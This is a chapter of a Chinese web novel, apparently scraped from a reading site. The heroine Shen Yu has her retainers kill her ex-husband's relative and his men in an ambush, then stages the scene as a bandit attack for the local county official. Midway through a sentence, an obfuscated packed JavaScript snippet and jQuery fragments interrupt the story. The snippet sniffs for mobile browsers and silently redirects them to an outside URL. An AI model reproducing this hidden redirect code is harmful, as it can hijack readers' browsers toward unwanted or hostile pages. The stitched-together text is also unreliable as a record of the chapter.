10.抵达

作品:《被献给高官之后

    章若荃听了这番话,心中很是恼怒。他自以为算计了沈钰,没想到却是被沈钰算计了。


    但随着把事情了解清楚,他反倒安心许多,梗着脖子道:“今日我没得手,你也没什么损失。我现在就走,你就当这件事从未发生过。不然……”


    他说着看了眼四下黑黢黢的山野,道:“老太爷也派人跟着呢,这边的动静肯定已经被察觉了。你若再敢伤我,他定不会饶了你!”


    沈钰闻言笑出了声,饶有兴致地问他:“你也知道他派人跟着呢?那现在咱们都说了这么半晌的话了,他们怎么还不现身?这么亮的火把照在你脸上,他们便是离得远也该看清你是谁了,怎的还不来帮你呢?”


    章若荃一怔,旋即悚然,吞咽一声,不可置信地道:“你……你把他们也杀了?”


    “我本不想动手的,”沈钰幽幽道,“你若不添乱,我顺顺利利地到了望乡亭,咱们相安无事各自安好。可你们贪心不足,以我换取了好处不说,还持刀而来,意图伤人夺财。”


    “既然如此,那就只好请你们去死了。”


    这个“你们”自然也包括章老太爷的人,不然让他们回去传信,将她有意设伏杀人的事说出去,后续岂不麻烦?


    章若荃以为这处山坳是自己动手的好地方,殊不知这里是沈钰专程派人提前踩了点的。


    前面的清河湾固然很好,但万一有人正好经过也在那里停马歇脚,会被无辜牵扯进来不说,还会发现她反杀章家的计谋。


    为了少些麻烦,沈钰这才借口马车损坏放慢了速度,故意停在了这处荒僻无人的山坳。


    章若荃想通其中关窍,猛地打了个哆嗦,坐在地上两腿蹬着地面往后退去:“不,你不能杀我……你不能杀我!”


    沈钰抿唇轻笑,一副善解人意的样子:“这样吧,给你个机会。”


    她说着指了指一旁随从手中的弓箭:“这弓箭是自制的,简单粗陋,射程不远。我数到十,倘若你能逃到射程之外,我便放了你,如何?”


    章若荃觉得荒谬,欲开口反驳,但不等他多言,沈钰已经红唇轻启,开始数数:“一。”


    随着她口中吐出这个“一”字,一旁随从抬起了手,弯弓拉弦。


    章若荃大惊失色,顾不得伤口疼痛,本能地撑着身子从地上站了起来,转身拔腿就跑。


    “二。”


    身后又传来沈钰的声音。她数的不算快,按照这个速度,数到十的时候他没准真能跑出去。


    章若荃拼尽全力向前奔跑,听到后面又传来一个声音:“十。”


    十?怎么会是十?中间的三四五六七八九呢?


    他心中闪过这个念头,还没来得及再想其他,便听得一阵破空声传来,一只箭矢正中他的脖梗,从他喉中穿透而出。


    章若荃扑通一声栽倒在地上,口中发出几声艰难的喘息,渐渐不动了。


    火光随风摇曳,一个身形高大的男子走到他身边,确定他死透之后回身对沈钰道:“小姐,没有活口了。”


    沈钰点了点头,用帕子轻轻掩住口鼻,秀眉轻蹙,一副受到惊吓的样子:“快去报官吧。青州有赤焰军驻守,这条官道不知清剿过多少遍了,竟然还有山匪,真是吓人。”


    男子应诺,转身安排下去,待报官的人走了之后,随手从一个章家人的尸体旁捡起一把刀,往自己手臂上划了一下。


    其余人也有样学样,做出一副曾与人激战的样子。


    …………


    附近城镇均有宵禁的规定,除非是有军情急报,否则夜半时分是不会轻易给人开门的。


    沈钰派去的人等到天亮方才入城,将自己一行人遇袭的事说了。


    当地衙门听说竟有贼匪在官道附近劫掠,恐是溃逃的乱军聚集作乱,当即带着兵马匆匆赶来。


    “这……这怎么……烧成这样了?”


    为首的县丞看到那堆被烧得面目全非的尸体,十分惊诧。


    一个身上带伤的高个子的男人上前几步,拱手对他说道:“大人,我们昨夜遇袭后恐有其他车马行人夜半经过被路上的尸体绊倒,就将他们都抬到路边聚于一处。”


    “谁成想夜半时分不知为何又来了几个人,却不是冲着我家主人和车上财物来的,而是来焚烧这些尸体,毁了他们的面目。”


    “来人虽少,但我们当时已经过一场激战,损耗了不少体力,唯恐主子有什么闪失,便没敢靠近,只远远地放了几只箭。还好那几人似乎只是冲着这些尸体而来,得手后就走了。”


    “看他们的样子跟这些人应该是同伙,怕我们报官后追查到他们的身份,这才有意毁了这些尸体的面目。”


    县丞皱眉点头围着被焚毁的尸体来回看了几遍,口中喃喃:“看焚毁程度,似是临时起意,用夜间引燃火把的火油焚烧的这些尸体。因火油不够,所以只着重烧毁了他们的面部。”


    但也因为如此,这些尸体的很多其他特征都还保留着。


    “身强体壮,衣饰统一,兵器精良……”


    县丞说着又命人将几具身上衣物保存的比较完好的尸身扒了,俯身看了看他们的躯干和手部:“身上没有积年累月的刀剑外伤,手上有茧但并不厚,可见并非山贼马匪或乱军逃兵,看上去倒像是富贵人家的护卫随从。”


    县丞说到这松了口气,抬手擦了擦额头的汗。


    不是匪寇逃兵就好,不然他和知县大人的日子怕是不好过了,接下来不知要在这条路上来回巡视多少遍才能安心。


    “不知你的主家是何人,近来可曾与人结怨?这些人显然是专程冲他而来,不是寻仇便是求财。”


    “你们车上带的都是什么东西?很贵重吗?带着这些东西要去往何处?都有谁知道你们近日的行程?”


    他一叠声问了许多,高个子男人皱了皱眉,面色为难地回头看了眼远处的马车,这才低声道:“不瞒大人,我家小姐乃营州沈氏女,其父曾任督察院佥都御史,三年前嫁来青州章家。近日……近日小姐与夫家和离,正欲归京寻亲,车上带的都是当初出嫁时的嫁妆。小姐她素来与人为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079633|163012||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    善,从不曾结下什么仇怨,定是这几车嫁妆引来贼人惦记,这才招致祸事。”


    他说着将一应籍册路引递给了县丞,同时递了一张帖子过去。


    县丞听得营州沈氏,再听到佥都御史,心中不由突突跳了几下,暗自庆幸刚才没有贸然请车中人下来当面询问,不然就太冒失了。


    他看了看那籍册和路引,确定没问题后才打开了那张名帖。原以为是车中那位沈小姐的父亲的名帖,没想到打开后发现名帖上的人姓柳。


    柳……柳明远?


    县丞心中一惊,手中名帖差点掉到地上。


    京城和营州都离得远,他对那边的人和事都不太了解,只知道个大概,但这位柳明远柳先生在青州那可是无人不知无人不晓。


    这是前国子监祭酒,三年前辞官回乡,据说在一章姓人家做西席。这个章家……莫非就是眼前人所说的章家?


    沈小姐和离归京,手中拿的却是柳先生的名帖,可见与柳先生熟识。那章家能请到他做西席,想来也是这个儿媳出的面。有这样一个厉害的儿媳……章家为何要和离?


    嗯,看来是这家人得罪了沈小姐,沈小姐休夫了,和离不过是给章家留些面子罢了。


    县丞自觉了解到了事情真相,深吸一口气,恭恭敬敬地将名帖等物都递还回去,道:“不知兄弟贵姓?”


    男人拱手施了一礼,道声不敢:“免贵姓高,单名一个胜字。”


    县丞哦哦两声:“高胜兄弟,劳烦你给沈小姐传个话,请她稍候片刻,待我们现场查探一番,确定是贼人作乱没有其他问题之后,她便可以走了。不过……还请留个人在这录个证词,以供入档存入卷宗。”


    除了京城三司衙门,其余官府办案向来是不能轻易传唤官宦及其家眷的,除非是有证词指控。现下这沈小姐是个女眷,且是受害之人,自是不好将她留下过堂。


    高胜点头:“我家小姐说了,一切都听大人安排,我们定当配合。”


    见他们态度和善,没有丝毫桀骜之气,县丞又松了口气,忙带人去四下查看了。


    该处理的痕迹早已处理干净,县丞自然查不出什么,最终得出的结论与高胜所说一致:贼人夜半劫财,被忠心护主的随从们反杀了。


    沈钰一行人虽带了兵器,但律法只对甲胄弓弩一类监管严格,刀枪棍棒之类向来是允许配备的。


    他们这一队人马要说哪里有问题,唯一能抓一抓的就是那些弓箭了。


    但县丞看了看,这些弓箭显然是自制的,简单粗陋,比寻常猎户用的还不如,一看就是为了路上防身临时赶制的。


    天下才太平不久,一个女子孤身上路,还带了大量财物,配备些兵器防身实属正常。


    于是县丞睁一只眼闭一只眼地放沈钰一行人离开了,为防她在自己辖下再出什么事,还特地派了一队人马护送,坚持要把他们送出青州地界才行。


    但最终这一行人也没能把沈钰送出青州,因为走了没几日,他们便抵达了望乡亭,见到了镇国公府的人。